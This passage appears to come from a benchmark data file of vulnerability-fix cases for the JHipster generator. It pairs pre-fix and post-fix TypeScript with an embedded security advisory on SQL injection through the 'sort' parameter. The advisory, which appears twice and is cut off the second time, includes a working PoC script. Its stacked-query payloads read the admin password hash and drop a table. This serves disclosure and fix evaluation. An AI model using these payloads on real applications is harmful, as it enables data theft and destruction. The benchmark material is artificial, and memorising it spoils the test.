false;\n return;\n }\n\n mutateData(relationship, {\n bagRelationship: relationship.ownerSide && relationship.collection,\n relationshipEagerLoad: ({ relationshipEagerLoad, bagRelationship, ownerSide, otherEntity, otherEntityField }) =>\n relationshipEagerLoad ??\n (bagRelationship ||\n entity.eagerLoad ||\n // Fetch relationships if otherEntityField differs otherwise the id is enough\n (ownerSide && otherEntity.primaryKey!.name !== otherEntityField)),\n });\n });\n entity.relationshipsContainEagerLoad = entity.relationships.some(relationship => relationship.relationshipEagerLoad);\n entity.containsBagRelationships = entity.relationships.some(relationship => relationship.bagRelationship);\n entity.implementsEagerLoadApis = // Cassandra doesn't provide *WithEagerRelationships apis\n !([CASSANDRA, COUCHBASE, NEO4J] as string[]).includes(entity.databaseType) &&\n // Only sql and mongodb provides *WithEagerRelationships apis for imperative implementation\n (entity.reactive || ([SQL, MONGODB] as string[]).includes(entity.databaseType)) &&\n entity.relationshipsContainEagerLoad;\n entity.eagerRelations = entity.relationships.filter(rel => rel.relationshipEagerLoad);\n // Deprecated: kept for blueprints, not used by the generator anymore.\n entity.regularEagerRelations = entity.eagerRelations.filter(rel => rel.id !== true);\n\n entity.reactiveEagerRelations = entity.relationships.filter(\n rel => rel.relationshipType === 'many-to-one' || (rel.relationshipType === 'one-to-one' && rel.ownerSide),\n );\n entity.reactiveRegularEagerRelations = entity.reactiveEagerRelations.filter(rel => rel.id !== true);\n}\n"
+pre_fix = "function preparePostEntityCommonDerivedPropertiesNotTyped(entity: EntityAll) {\n const { relationships, fields } = entity;\n const oneToOneRelationships = relationships.filter(({ relationshipType }) => relationshipType === 'one-to-one');\n entity.fieldsContainNoOwnerOneToOne = oneToOneRelationships.some(({ ownerSide }) => !ownerSide);\n\n entity.anyPropertyHasValidation ||= relationships.some(({ relationshipValidate }) => relationshipValidate);\n\n const relationshipsByOtherEntity = relationships\n .map(relationship => [relationship.otherEntity.entityNameCapitalized, relationship] as const)\n .reduce(\n (relationshipsByOtherEntity, [type, relationship]) => {\n if (relationshipsByOtherEntity[type]) {\n relationshipsByOtherEntity[type].push(relationship);\n } else {\n relationshipsByOtherEntity[type] = [relationship];\n }\n return relationshipsByOtherEntity;\n },\n {} as Record,\n );\n\n entity.relationshipsByOtherEntity = relationshipsByOtherEntity;\n entity.differentRelationships = relationshipsByOtherEntity;\n\n entity.anyPropertyHasValidation ||= fields.some(({ fieldValidate }) => fieldValidate);\n\n entity.otherEntities = uniq(entity.relationships.map(rel => rel.otherEntity));\n\n entity.persistableRelationships = relationships.filter(({ persistableRelationship }) => persistableRelationship);\n entity.otherEntitiesWithPersistableRelationship = uniq(entity.persistableRelationships.map(rel => rel.otherEntity));\n\n entity.updatableEntity =\n entity.fields.some(field => !field.id && !field.transient) ||\n entity.relationships.some(relationship => !relationship.id && relationship.persistableRelationship);\n\n entity.entityContainsCollectionField = entity.relationships.some(relationship => relationship.collection);\n\n if (entity.primaryKey) {\n derivedPrimaryKeyProperties(entity.primaryKey);\n entity.requiresPersistableImplementation ||= entity.fields.some(field => field.requiresPersistableImplementation);\n }\n\n const types = entity.relationships\n .filter(rel => rel.otherEntity.primaryKey)\n .flatMap(rel => rel.otherEntity.primaryKey!.fields.map(f => f.fieldType));\n entity.otherEntityPrimaryKeyTypes = [...new Set(types)];\n entity.otherEntityPrimaryKeyTypesIncludesUUID = types.includes(UUID);\n\n entity.relationships.forEach(relationship => {\n if (!relationship.otherEntity.primaryKey) {\n relationship.bagRelationship = false;\n relationship.relationshipEagerLoad = false;\n return;\n }\n\n mutateData(relationship, {\n bagRelationship: relationship.ownerSide && relationship.collection,\n relationshipEagerLoad: ({ relationshipEagerLoad, bagRelationship, ownerSide, otherEntity, otherEntityField }) =>\n relationshipEagerLoad ??\n (bagRelationship ||\n entity.eagerLoad ||\n // Fetch relationships if otherEntityField differs otherwise the id is enough\n (ownerSide && otherEntity.primaryKey!.name !== otherEntityField)),\n });\n });\n entity.relationshipsContainEagerLoad = entity.relationships.some(relationship => relationship.relationshipEagerLoad);\n entity.containsBagRelationships = entity.relationships.some(relationship => relationship.bagRelationship);\n entity.implementsEagerLoadApis = // Cassandra doesn't provide *WithEagerRelationships apis\n !([CASSANDRA, COUCHBASE, NEO4J] as string[]).includes(entity.databaseType) &&\n // Only sql and mongodb provides *WithEagerRelationships apis for imperative implementation\n (entity.reactive || ([SQL, MONGODB] as string[]).includes(entity.databaseType)) &&\n entity.relationshipsContainEagerLoad;\n entity.eagerRelations = entity.relationships.filter(rel => rel.relationshipEagerLoad);\n entity.regularEagerRelations = entity.eagerRelations.filter(rel => rel.id !== true);\n\n entity.reactiveEagerRelations = entity.relationships.filter(\n rel => rel.relationshipType === 'many-to-one' || (rel.relationshipType === 'one-to-one' && rel.ownerSide),\n );\n entity.reactiveRegularEagerRelations = entity.reactiveEagerRelations.filter(rel => rel.id !== true);\n}\n"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "writing"
+function_lines = [[135, 157]]
+id = "jhipster-generator-jhipster-98eceaae5495db76"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "generators/spring-boot/generators/data-relational/generator.ts"
+post_fix = " get writing() {\n return this.asWritingTaskGroup({\n async cleanup({ application, control }) {\n await control.cleanupFiles({\n '9.2.1': [\n [\n !application.devDatabaseTypeH2Any!,\n `${application.javaPackageTestDir}config/EmbeddedSQL.java`,\n `${application.javaPackageTestDir}config/SqlTestContainer.java`,\n `${application.javaPackageTestDir}config/SqlTestContainersSpringContextCustomizerFactory.java`,\n `${application.srcTestResources}META-INF/spring.factories`,\n ],\n [application.prodDatabaseTypeMysql!, `${application.javaPackageTestDir}config/MysqlTestContainer.java`],\n [application.prodDatabaseTypeMariadb!, `${application.javaPackageTestDir}config/MariadbTestContainer.java`],\n [application.prodDatabaseTypeMssql!, `${application.javaPackageTestDir}config/MsSqlTestContainer.java`],\n [application.prodDatabaseTypePostgresql!, `${application.javaPackageTestDir}config/PostgreSqlTestContainer.java`],\n ],\n '9.3.1': [\n [\n application.reactive,\n `${application.javaPackageSrcDir}repository/EntityManager.java`,\n `${application.javaPackageSrcDir}repository/rowmapper/ColumnConverter.java`,\n ],\n [\n Boolean(application.reactive && application.generateBuiltInUserEntity),\n `${application.javaPackageSrcDir}repository/UserSqlHelper.java`,\n `${application.javaPackageSrcDir}repository/rowmapper/UserRowMapper.java`,\n ],\n ],\n });\n },\n cleanupTask,\n writeTask,\n });\n }"
+pre_fix = " get writing() {\n return this.asWritingTaskGroup({\n async cleanup({ application, control }) {\n await control.cleanupFiles({\n '9.2.1': [\n [\n !application.devDatabaseTypeH2Any!,\n `${application.javaPackageTestDir}config/EmbeddedSQL.java`,\n `${application.javaPackageTestDir}config/SqlTestContainer.java`,\n `${application.javaPackageTestDir}config/SqlTestContainersSpringContextCustomizerFactory.java`,\n `${application.srcTestResources}META-INF/spring.factories`,\n ],\n [application.prodDatabaseTypeMysql!, `${application.javaPackageTestDir}config/MysqlTestContainer.java`],\n [application.prodDatabaseTypeMariadb!, `${application.javaPackageTestDir}config/MariadbTestContainer.java`],\n [application.prodDatabaseTypeMssql!, `${application.javaPackageTestDir}config/MsSqlTestContainer.java`],\n [application.prodDatabaseTypePostgresql!, `${application.javaPackageTestDir}config/PostgreSqlTestContainer.java`],\n ],\n });\n },\n cleanupTask,\n writeTask,\n });\n }"
+repo = "jhipster/generator-jhipster"
+url = "https://github.com/jhipster/generator-jhipster.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 